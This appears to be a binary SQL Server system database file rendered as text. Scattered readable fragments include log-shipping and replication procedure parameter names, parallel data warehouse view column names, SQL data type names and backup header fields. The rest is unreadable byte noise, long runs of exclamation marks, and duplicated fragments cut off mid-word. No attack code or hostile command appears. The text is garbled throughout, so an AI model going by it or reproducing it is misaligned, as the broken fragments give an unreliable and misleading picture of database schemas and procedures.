43	W0<J$	m[?AL<%I<%I<>`;>`;##AC@?@@@=/F]t,CZq)@Wn&B?@????@?A?0A??????@?@?@?????1??2??d@@?e??g@@?h?@?l@@?m??n@@?p@@@r@?t???v???x??I??|??@???@??@?@?@???	@@?u@@@y0<K$:i	ff*>9=9= < <AB@?@@@0G^uB???@???@@???0<J "0<J$i9$?>@}D@8Of}@yD? A????@@???????0<J`"0<J@$:$L=?}D?08,@Th|A?B?@?@@?XB?@?@@?&@?(??1PA?2 A?3@?4`A?5@?6@@?7@?>@?P@D?Q_C?R??e!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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E/@F?I$I&@@O@ۚ?P0<) "0<)$B_$PP%I=@tF@p(?VmE?@ND?@-D?IC?@?C?F?E?`D?D?@?A?C?@?P0<) "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`1

-<)^*H
2L0-e@backup_source_directory0-o@backup_destination_directory0-Q@copy_job_name0-W@restore_job_name0-88
a@file_retention_period0-S@monitor_server0-	hho@monitor_server_security_mode0-
_@monitor_server_login0-e@monitor_server_password0-$$M@copy_job_id0-
$$S@restore_job_id0-$$O@secondary_id0-hhI@overwrite0-hh]@ignoreremotemonitor0-L?I@publisher0-L?K@subscriber0-L?00?@type0-L?A@login0-L?G@password0-L?88
Y@commit_batch_size0-L?88
Y@status_batch_size0-L?88
U@flush_frequency0-L?	88
S@frequency_type0-L?
88
[@frequency_interval0-L?88
m@frequency_relative_interval0-L?88
m@frequency_recurrence_factor0-L?
88
W@frequency_subday0-L?88
i@frequency_subday_interval0-L?88
g@active_start_time_of_day0-L?88
c@active_end_time_of_day0-L?88
Y@active_start_date0-L?88
U@active_end_date0-L?88
Q@retryattempts0-L?88
K@retrydelay0-L?M@description0-L?88
Q@security_mode0-L?hh[@encrypted_password0-L?G@internal0-G@loginame0-=@map-O)hh0-O)88
I@tablenick0-O)88
E@changed0-O)==A@today0-W.?@dbms0-W.E@version0-W.?@type0-W.88
O@createparams0-"W@failsafeoperator0-"88
[@notificationmethod0-"W@forwardingserver0-"88
[@forwardingseverity0-"U@pagertotemplate0-"U@pagercctemplate0-"_@pagersubjecttemplate0-"88
_@pagersendsubjectonly0-"	_@failsafeemailaddress0-"
_@failsafepageraddress0-"c@failsafenetsendaddress0-"88
Q@forwardalways!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!L*z	n`-R
~<Q
J6E+0<' "0<( "0<) "0<* "0<+ "0<, "0<- "0<. "0</ "0<0 "0<1 "0<2 "0<3 "0<4 "0<5 "0<2$


?.=ى=

@PA@@"*Pez
??)???+@?j@?l????????????
0<2$
$

L>APAA/7(Ef0@@?length0@@?!max length0@? precision0@?&precision,scale0@@?scale
((lengthmax lengthprecision,scale@
	
0<2$
$

?@PA@:B%0A?@?
0<) "0<) "0<) "0<) "0<) "0<) "0<) "0<)	 "0<)
 "0<) "0<% "0<% "0<% "0<8 "0<8 "0<@ "0<@ "0<@ "0<@ "0<@ "0<@ "0<@ "0<@	 "0<@
 "0<@ "0<@ "0<@
 "0<t "0<t "0<t "0<t "0<t "0<% "0<% "0<* "0<* "0<* "0<* "0<* "0<* "0<* "0<*	 "0<*
 "0<* "0<' "0<' "0<' "0<' "0<' "0<' "0<' "0<'	 "0<'
 "0<' "0<' "0<'
 "0<' "0<' "0<' "0<' "0<' "0<' "0<' "0<< "0<< "0<< "0<< "0<< "0<< "0<< "0<<	 "0<}ȟ "0<}ȟ "0<}ȟ "0<}ȟ "0<}ȟ "0<}ȟ "0<}ȟ "0<}ȟ	 "0<}ȟ
 "0<}ȟ "0<}ȟ "0<JP "0<JP "0<JP "0< "0< "0<ӟ "0<ӟ "0<ӟ "0<ӟ "0<ӟ "0< "0< "0< "0< "0< "0< "0< "0<	 "0<*h "0<*h "0<*h "0<*h "0<*h "0<*h "0<*h "0<*h	 "0<' "0<'
 "0<' "0<' "0<' "0<' "0<' "0<' "0<' "0<< "0<< "0<< "0<< "0<< "0<< "0<< "0<<	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0<a$CN#?.:=.:=.:=CBA@EAAx 5J_t???????????	?????????#??)??1???3??<??=?@?A??B0<$	
%		=		T@0ECT@H_vA?C?C?C?C?C?C? C?@C?	0<$	%		?@0E@>F'@E?pA?	0< "0< "0< "0< "0< "0< "0<|G "0<|G "0<|G "0<|G "0<|G "0<|G "0<|G "0<|G	 "0<|G
 "0<|G "0<|G "0<|G
 "0<jY "0<jY "0<jY "0<jY "0<jY "0<jY "0<jY "0<ZR "0<ZR "0<ZR "0<ZR "0<ZR "0<ZR "0<ZR "0<u" "0<u" "0<u" "0<u" "0< "0< "0< "0< "0< "0< "0< "0<	 "0<a$S+%?EAAEA`70??'package00A?)sqlserver((package0sqlserver@
	0<a$X.%?6W=AAAX%R7v!j-0??5client_app_name0??5client_hostname0??+client_pid0??-database_id0??1database_name0??3event_sequence0??)is_system0@?-nt_username0???+request_id0???server_instance_name0??Aserver_principal_name0???server_principal_sid0??+session_id0??Isession_resource_group_id0??Qsession_server_principal_name0??3transaction_id0???transaction_sequence0@@?+tsql_frame((wclient_app_namepiddatabase_nameis_systemnt_usernamerequest_idserver_principal_namession_idtransaction_sequencesql_frame@
	(
3=?@RX=@Z[	n0<(. "0<(. "0<(. "0<(. "0<(. "0<(. "0<(. "0<(.	 "0<(.
 "0<(. "0<֩ "0<֩ "0<֩ "0<֩ "0<֩ "0<֩ "0<֩ "0<֩	 "0<֩
 "0<֩ "0<֩ "0<֩
 "0< "0< "?3event_sequence0??)is_system0@?-nt_username0???+request_id0???server_instance_name0??Aserver_principal_name0???server_principal_sid0??+session_id0??Isession_resource_group_id0??Qsession_server_principal_name0??3transaction_id0???transaction_sequence0@@?+tsql_frame((wclient_app_namepiddatabase_nameis_systemnt_usernamerequest_idserver_principal_namession_idtransaction_sequencesql_frame@
	(
3=?@RX=@Z[	n0<(. "0<(. "0<(. "0<eC!wU3gE#C
`


h
F
$

zX6jH&


|
Z
8

				l	J	(		~\:JT
<@U
7	0<\$$L>A@A'(C^y??DL  ??IN  ??RF  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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`Ih
	<W
8ZZ0<$= O%  ?!=_AB_A3Rq4QxGh+Ty0??#bigint0??#binary0??bit0??char0??date0???)datetime20??3datetimeoffset0??%decimal0??!float0??!image0??int0?@?'nvarchar0??real0??1smalldatetime0??'smallint0??+smallmoney0??-sql_variant0??!table0??text0??time0??)timestamp0??%tinyint0??7uniqueidentifier0@?)varbinary0??%varchar0??xml((Rbigintchardatetime2floatmoneynumericsmalldatetimeql_variantuniqueidentifiervarchar
@	
$%
1;K 0<$= P%  ?!=_AB_A3Rq4QxGh+Ty0??#bigint0??#binary0??bit0??char0??date0???)datetime20??3datetimeoffset0??%decimal0??!float0??!image0??int0?@?'nvarchar0??real0??1smalldatetime0??'smallint0??+smallmoney0??-sql_variant0??!table0??text0??time0??)timestamp0??%tinyint0??7uniqueidentifier0@?)varbinary0??%varchar0??xml((Rbigintchardatetime2floatmoneynumericsmalldatetimeql_variantuniqueidentifiervarchar
@	
$%
1;K 0<$} Q%  *?1C=@B@0EZo???????@???????????H@?@@@@@@@????@@???????? 0<$ R%  ?!=@B@
#8Mbw????????@???????	??????
?????????????????????????!??" 0<$ R%  ??B?8@$0A?A? 0<	$ S%  ??B?8@$A?A? 0<
$ T%  ??B?8@$A?@? 0<$ T%  ??B?8@$A?@? 0<$ U%  ?ى=

@B`A@6>Pg~???????@@?
??@@?@??????"@?& !!!!!!!!!!!!!!!!!!!!!IW`6X
f70"6Y
clust6^
.ExpirationDate6*b
&process_id!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!k`	^
m6
^Y
.;Mh6clust6clust61clust6;clust6>clust6?clust6Aclust6 CodePage6""Collation64CompatibilityLevel6$Compressed6q data62DatabaseBackupLSN6
8DatabaseCreationDate6(DatabaseName6.DatabaseVersion62datatypeinfoclust6W#2datatypeinfoclust628datatypeinfoextclust6$DeviceType6q event616DifferentialBaseLSN628DifferentialBaseGUID658CompressedBackupSize62*CREATE_PARAMS6%"column_id6%8distribution_ordinal6@2distribution_type6@ error_id6@
 end_time6@
command6%&database_id6' end_time6'
*database_name6'command6<(component_id6<:component_instance_id6<*current_value6<	&create_time6}ȟevent6}ȟ event_id6}ȟ&create_time6}ȟcpu6JP(component_id6JP,component_name6ӟ(component_id6 event_id6$event_type6*event_message6*h(component_id6*h:component_instance_id6*h*current_value6*h	&create_time6(component_id6:component_instance_id6|G0end_compile_time6|G end_time6|G error_id6|G&database_id6|G
command6jY.completed_count6ZR end_time6u"(component_id6֩.distribution_id6֩ error_id6֩	 end_time6֩
command6$event_name6,data_precision6
4datetime_precision6&column_size6 error_id6&create_time6details6R,dms_step_index6R.distribution_id6R
 end_time6R cpu_time6R dms_cpid6R error_id6R0destination_info6Rcommand6.distribution_id6(counter_name60counter_category6*counter_value6W#"DATA_TYPE6W#,data_precision6Z6 end_time6zu6distribution_policy6zu@distribution_policy_desc6&database_id6'(component_id6'&description6'	"condition6'.condition_value6x&dms_core_id6 error_id6Xv:conversation_group_id6Xv6conversation_handle6x:conversation_group_id6x6conversation_handle6<8z:conversation_group_id6<8z6conversation_handle6u\{&column_guid6|$commit_lbn6|$commit_csn6|&commit_time6| dbfragidwait_id6)$session_id6)type6)&object_type6)&object_name6)$request_id6)(request_time6)
state6) priority6%"object_id6%"column_id6%8distribution_ordinal68"object_id68*physical_name6@$request_id6@$step_index6@,operation_type6@2distribution_type6@*location_type6@status6@ error_id6@	$start_time6@
 end_time6@4total_elapsed_time6@"row_count6@
command6t&pdw_node_id6ttype6tname6t$is_passive6%&database_id6%*physical_name6*&pdw_node_id6*"thread_id6*$process_id6*name6* priority6*$start_time6*state6*	&wait_reason6*
Htotal_processor_elapsed_time6*>total_user_elapsed_time6'run_id6'name6'&submit_time6'$start_time6' end_time6'4total_elapsed_time6',operation_type6'	mode6'
*database_name6'$table_name6'(principal_id6'
$session_id6'$request_id6'status6' progress6'command6',rows_processed6'*rows_rejected6'*rows_inserted6<&pdw_node_id6<(component_id6<:component_instance_id6<*current_value6<,previous_value6<	&create_time6}ȟevent6}ȟ event_id6}ȟ&create_time6}ȟ$session_id6}ȟcpu6}ȟreads6}ȟwrites6}ȟ	 sql_text6}ȟ$tsql_stack6}ȟ&pdw_node_id6JP(component_id6JP group_id6JP,component_name6 group_id6$group_name6ӟ(component_id6ӟ&property_id6ӟ*property_name6ӟ*physical_name6ӟis_key6&pdw_node_id6 log_name6$log_source6 event_id6$event_type6*event_message6*h(component_id6*h:component_instance_id6*h*current_valn
Nv\H:N0(
 	
H
		B.
T	b$vn>
Z2bP@	l

PH6B

t:Zv	n&	Xh
f	
26z`|']
S6
Z
5ݵ'$'0'2IWdatatypeinfoextclust'FE')$''%>'uv'/n'e'8@'@!'t(''D|'%B'*0''&0'2@ICREATE_PARAMS0'2@KAUTO_INCREMENT0')@=wait_id0')@Csession_id0')@7type0')@Eobject_type0')@Eobject_name0')@Crequest_id0')@Grequest_time0')	@Gacquire_time0')
@9state0')@?priority0'%@Aobject_id0'%@Acolumn_id0'%@Wdistribution_ordinal0'8@Aobject_id0'8@Iphysical_name0'@@Crequest_id0'@@Cstep_index0'@@Koperation_type0'@@Qdistribution_type0'@@Ilocation_type0'@@;status0'@@?error_id0'@	@Cstart_time0'@
@?end_time0'@@Stotal_elapsed_time0'@@Arow_count0'@
@=command0't@Epdw_node_id0't@7type0't@7name0't@=address0't@Cis_passive0'%@Edatabase_id0'%@Iphysical_name0'*@Epdw_node_id0'*@Athread_id0'*@Cprocess_id0'*@7name0'*@?priority0'*@Cstart_time0'*@9state0'*	@Ewait_reason0'*
@gtotal_processor_elapsed_time0'*@]total_user_elapsed_time0''@;run_id0''@7name0''@Esubmit_time0''@Cstart_time0''@?end_time0''@Stotal_elapsed_time0''@Koperation_type0''	@7mode0''
@Idatabase_name0''@Ctable_name0''@Gprincipal_id0''
@Csession_id0''@Crequest_id0''@;status0''@?progress0''@=command0''@Krows_processed0''@Irows_rejected0''@Irows_inserted;status0'@@?error_id0'@	@Cstart_time0'@
@?end_time0'@@Stotal_elapsed_time0'@@Arow_count0'@
@=command0't@Epdw_node_id0't@7type0't@7name0't@=address0't@Cis_passive0'%@Edatabase_id0'%@Iphysical_name0'*@Epdw_node_id0'*@Athread_id0'*@Cprocess_id0'*@7name0'*@?priority0'*@Cstart_time0'*@9state0'*	@Ewait_reason0'*
@gtotal_processor_elapsed_time0'*@]total_user_elapsed_time0''@;run_id0''@7name0''@Esubmit_time0''@Cstart_time0''@?end_time0''@Stotal_elapsed_time0''@Koperation_type0''	@7mode0''
@Idatabase_name0''@Ctable_name0''@Gprincipal_id0''
@Csession_id0''@Crequest_id0''@;status0''@?progress0''@=commandtIg<e:k@i>9r7j'\	BgsK

Q

<~;K
z
;
		~	5	Ve:2cq8g"c&8
`
_
57[
57t|G|G|G|G|G|G|G|G	|G	
|G
|G|G
jYjYjYjYjYjYjYZRZRZRZRZRZRZRu"u"u"u"		
""""""""""""))))))))))***++,,,,,,,--.....//001111222223333336666666777777788999:::::;;;;;;<<<<>>>???@@@@@AAAACCCCDDDEEEEEGHIIJJJJJJJJJJKKKKKKKKKKNNNNNOOPRRTUUUVVVVVVVWYYYYZZZZ[[[[[[[\\]]]]]^^^___``````aaaaaabbbbbbbbbbbbXvXvXvXvXvXvXvXvXvXvXv	xxxxxxxxxxx	<8z<8z<8z<8z<8z<8z<8z<8z<8z<8z<8z	u\{u\{u\{u\{u\{u\{u\{u\{u\{||||x}x}x}x}x}|G|G|G|G|G|G|G|G	|G	
|G
|G|G
jYjYjYjYjYjYjYZRZRZRZRZRZRZRu"u"u"u"lXp\H4 lXD0|hT@,xdP<(t`
a
57B\
57ϡaaa\ddd///W#W#W#i%.%.%.					
""""""""""""))))))))))***++,,,,,,,--.....//001111222223333336666666777777788999:::::;;;;;;<<<<>>>???@@@@@AAAACCCCDDDEEEEEGHI|G|G|G|G|G|G|G|G	|G
	|G
|G|G
jYjYjYjYjYjYjYZRZRZRZRZRZRZRu"u"u"u"	jL.z\> lN0|^@"nP2~`B$pR4




b
D
&

rT6dF(




t
V
8

					f	H	*		vX:hJ,xZ<jL.z\> lN0|^@"nP2$pR4bD&rT6dF(
tV8~`Z
'`
Z6$(]
6t'<C'}ȟ.'''JP3'2' P'"q'ӟ4'9'*h8'F0'Mspt_valuesclust0'Wix2_spt_values_nu_nc'7'|G 'jY*0'<@Epdw_node_id0'<@Gcomponent_id0'<@Ycomponent_instance_id0'<@?alert_id0'<@Qalert_instance_id0'<@Icurrent_value0'<@Kprevious_value0'<	@Ecreate_time0'}ȟ@9event0'}ȟ@?event_id0'}ȟ@Ecreate_time0'}ȟ@Csession_id0'}ȟ@5cpu0'}ȟ@9reads0'}ȟ@;writes0'}ȟ	@?sql_text0'}ȟ
@Mclient_app_name0'}ȟ@Ctsql_stack0'}ȟ@Epdw_node_id0'JP@Gcomponent_id0'JP@?group_id0'JP@Kcomponent_name0'@?group_id0'@Cgroup_name0'ӟ@Gcomponent_id0'ӟ@Eproperty_id0'ӟ@Iproperty_name0'ӟ@Iphysical_name0'ӟ@;is_key0'@Epdw_node_id0'@?log_name0'@Clog_source0'@?event_id0'@Cevent_type0'@Ievent_message0'@Igenerate_time0'	@Cwrite_time0'*h@Epdw_node_id0'*h@Gcomponent_id0'*h@Ycomponent_instance_id0'*h@?alert_id0'*h@Qalert_instance_id0'*h@Kprevious_value0'*h@Icurrent_value0'*h	@Ecreate_time0'@7name0'@5low0'@7high0'@;status0'@Epdw_node_id0'@Gcomponent_id0'@Eproperty_id0'@Ycomponent_instance_id0'@Kproperty_value0'@Eupdate_time0'|G@Crequest_id0'|G@Csession_id0'|G@;status0'|G@Esubmit_time0'|G@Cstart_time0'|G@Oend_compile_time0'|G@?end_time0'|G	@Stotal_elapsed_time0'|G
@9label0'|G@?error_id0'|G@Edatabase_id0'|G
@=command0'jY@Epdw_node_id0'jY@Await_name0'jY@Imax_wait_time0'jY@Irequest_count0'jY@Esignal_time0'jY@Mcompleted_count0'jY@Await_timee0'*h@Icurrent_value0'*h	@Ecreate_time0'@7name0'@5low0'@7high0'@;status0'@Epdw_node_id0'@Gcomponent_id0'@Eproperty_id0'@Ycomponent_instance_id0'@Kproperty_value0'@Eupdate_time0'|G@Crequest_id0'|G@Csession_id0'|G@;status0'|G@Esubmit_time0'|G@Cstart_time0'|G@Oend_compile_time0'|G@?end_time0'|G	@Stotal_elapsed_time0'|G
@9label0'|G@?error_id0'|G@Edatabase_id0'|G
@=command0'jY@Epdw_node_id0'jY@Await_name0'jY@Imax_wait_time0'jY@Irequest_count0'jY@Esignal_time0'jY@Mcompleted_countuJs"mB`5
U=3|Cb\0_$9<W
x
3
^Z

H

	b7y	:	i$Ui$gC^`Y
	b
6~^
<;Zf6,ExpirationDate6#$FamilyGUID6x}(FFtUpdateIdx6 FirstLSN6.6FirstRecoveryForkID6Flags6/(ForkPointLSN6u\{&FSTSClusIdx6u\{"FSTSNCIdx6JP group_id6 group_id6$group_name6(4HasBackupChecksums6$2HasBulkLoggedData6+:HasIncompleteMetaData6ӟis_key6t$is_passive6-$IsCopyOnly6)"IsDamaged6,,IsForceOffline6&$IsReadOnly6'(IsSingleUser6%$IsSnapshot68ix2_spt_values_nu_nc6LastLSN6@*location_type6 log_name6$log_source6k2lost_events_count6&MachineName6'	mode6tname6*name6'name6nc6nc6)nc6,nc63nc66nc6@nc6Nnc6nc16nc16nc16"nc16*nc16+nc16.nc162nc167nc168nc16:nc16Cnc16Enc16Jnc16Knc16Ync16Znc16[nc16]nc16_nc16`nc16anc16bnc16nc26nc26nc26"nc26*nc26.nc262nc26Cnc26Enc26`nc26"nc36.nc36_nc36Vnonclst6V"nonclstgi6%"object_id68"object_id6)&object_name6)&object_type6@,operation_type6',operation_type6q &pdw_node_id6k&pdw_node_id6t&pdw_node_id6*&pdw_node_id6<&pdw_node_id6}ȟ&pdw_node_id6&pdw_node_id6\0perm_names_clust68*physical_name6%*physical_name6ӟ*physical_name6 Position6<,previous_value6'(principal_id6) priority6* priority6k$process_id6*generate_time6*h&pdw_node_id6*h,previous_value6name6low6high6&pdw_node_id6|G
label6jY&pdw_node_id6jY*max_wait_time6u"*physical_name6u"(logical_name6*idle_sessions6a(package_name6(.$login_name6(.$login_time6(.	0is_transactional6֩&pdw_node_id6\number6\$permission6fixlen64localized_typename6.oledb_data_type62managed_type_code6	0fixed_prec_scale6
is_long6,literal_prefix6,literal_suffix6&pdw_node_id6R&pdw_node_id6Jname6Jnumber6Jlow6&pdw_node_id6name6 position6(package_name6{"object_id6{ index_id6{*physical_name6&pdw_node_id6*instance_name60last_update_time6W#fixlen6W#ODBCVer6W#*numeric_scale6W#
length6W#,LITERAL_PREFIX6W#,LITERAL_SUFFIX6W#
 NULLABLE6W#MONEY6W#.LOCAL_TYPE_NAME6Z6&pdw_node_id6zu"object_id64@Mname64@M$is_enabled6name6"is_active6(host_address6(principal_id6x&pdw_node_id6&pdw_node_id62process_cpu_usage6
(handle_count6(is_available6Xv priority6Xv>message_sequence_number6Xv$message_id6Xv	.message_type_id6Xv
*next_fragment6Xv*fragment_size6Xv.fragment_bitmap6Xv8message_enqueue_time6x priority6x>message_sequence_number6x$message_id6x	.message_type_id6x
*next_fragment6x*fragment_size6x.fragment_bitmap6x8message_enqueue_time6<8z priority6<8z>message_sequence_number6<8z$message_id6<8z	.message_type_id6<8z
*next_fragment6<8z*fragment_size6<8z.fragment_bitmap6<8z8message_enqueue_time6u\{*oplsn_bOffset6u\{(oplsn_slotid6u\{:filestream_value_name6x}(oplsn_fseqno6x}*oplsn_bOffset6x}(oplsn_slotid6x}"item_guidsed_time6u"&property_id6u"*physical_name6u"(logical_name6,total_sessions6*idle_sessions6.queued_requests6(queued_loads6a(package_name6a,xe_action_name6(.$session_id6(.status6(.$request_id6(.&security_id6(.$login_name6(.$login_time6(.&query_count6(.	0is_transactional6֩&pdw_node_id6\numberf">
RtzDpJ<|8





`
:
4
V
			bt	R	6X^0		2xbL6 
pZD.~hR<&nZ@F
B*n8JvJ
t^
F~^4|`
\nB ~2nt
Pp\H.N`[
c
7"_
7aaa\ddd///W#W#W#i%.%.%.					
""""""""""""))))))))))***++,,,,,,,--.....//001111222223333336666666777777788999:::::;;;;;;<<<<>>>???@@@@@AAAACCCCDDDEEEEEGHIIJJJJJJJJJJKKKKKKKKKKNNNNNOOPRRTUUUVVVVVVVWYYYYZZZZ[[[[[[[\\]]]]]^^^___``````aaaaaabbbbbbbbbbbbXvXvXvXvXvXvXvXvXvXvXv	xxxxxxxxxxx	<8z<8z<8z<8z<8z<8z<8z<8z<8z<8z<8z	u\{u\{u\{u\{u\{u\{u\{u\{u\{||||x}x}x}x}x}aa(.(.(.(.(.(.(.(.	(.	
(.
֩֩֩֩֩֩֩֩	֩	
֩
֩֩
|hT@,xdP<(t`L8$p\H4 lXD0|hT@,xdP<(t`L8$p\H4 






l
X
D
0


|hT@,xdP<(





t
`
L
8
$

							p	\	H	4	 		lXD0|hT@,xdP<(t`L8$p\H4 lXD0|hT@,xdP<(p\H4 lXD0t`]
'f
t6,`
8/'ZR''u"5'㸀'e'-'iS	0'aatrace_xe_action_map_clust'p'(.'֩"'<0'\OOperm_names_clust0'd3cl0'd3st0'GQdatatypeinfoclust'!E'#'0'R%0'ZR@;run_id0'ZR@9stage0'ZR@Crequest_id0'ZR@;status0'ZR@Cstart_time0'ZR@?end_time0'ZR@Stotal_elapsed_time0'u"@Gcomponent_id0'u"@Eproperty_id0'u"@Iphysical_name0'u"@Glogical_name0'@Ktotal_sessions0'@Iidle_sessions0'@Mactive_requests0'@Mqueued_requests0'@Gactive_loads0'@Gqueued_loads0'@Kactive_backups0'	@Mactive_restores0'a@Gpackage_name0'a@Kxe_action_name0'(.@Csession_id0'(.@;status0'(.@Crequest_id0'(.@Esecurity_id0'(.@Clogin_name0'(.@Clogin_time0'(.@Equery_count0'(.	@Ois_transactional0'(.
@Aclient_id0'(.@?app_name0'֩@Crequest_id0'֩@Cstep_index0'֩@Epdw_node_id0'֩@Mdistribution_id0'֩@;status0'֩@?error_id0'֩@Cstart_time0'֩	@?end_time0'֩
@Stotal_elapsed_time0'֩@Arow_count0'֩@7spid0'֩
@=command0'@Cevent_name0'@Iproperty_name0'\@;number0'\@Cpermission0'd@9value0'@Ess_usertype0'@;fixlen0'@Atype_name0'@Slocalized_typename0'@Moledb_data_type0'@Qmanaged_type_code0'@Cbest_match0'	@Ofixed_prec_scale0'
@=is_long0'@Qauto_unique_value0'@Kdata_precision0'
@Sdatetime_precision0'@Ecolumn_size0'@Kliteral_prefix0'@Kliteral_suffix0'@Csearchable0'@Sunsigned_attribute0'@?error_id0'@;source0'@7type0'@Ecreate_time0'@Epdw_node_id0'@Csession_id0'@Crequest_id0'	@7spid0'
@Athread_id0'@=details0'R@Crequest_id0'R@Cstep_index0'R@Kdms_step_index0'R@Epdw_node_id0'R@Mdistribution_id0'R@7type0'R@;status0'R	@Ibytes_per_sec0'R
@Mbytes_processed0'R@Krows_processed0'R@Cstart_time0'R
@?end_time0'R@Stotal_elapsed_time0'R@?cpu_time0'R@Cquery_time0'R@Qbuffers_available0'R@?dms_cpid0'R@?sql_spid0'R@?error_id0'R@Esource_info0'R@Odestination_info0'R@=command7type0'R@;status0'R	@Ibytes_per_sec0'R
@Mbytes_pro[M
x9^V@H{D	uw4Yj-Ji.$m2oDi2_

U

K
v3

h
-
		X	b7	y2Ot/V\!`\
e
W7
a
8 aaa\dddaa(.(.(.(.(.(.(.(.	(.
	(.
֩֩֩֩֩֩֩֩	֩
	֩
֩֩
\\d		



	
	
RRRRRRRR	R
	R
RR
R
RRRRRRRRR"""))))))))))***++,,,,,,,--.....//001111222223333336666666777777788999:::::;;;;;;<<<<>>>???@@@@@AAAACCCCDDDEEEEEGHIaa(.(.(.(.(.(.(.(.	(.
	(.
֩֩֩֩֩֩֩֩	֩
	֩
֩֩
\\d		



	
	
RRRRRRt
V
8

					f	H	*		vX:hJ,xZ<jL.P2z\> lN0|^@"n~`^
	6b
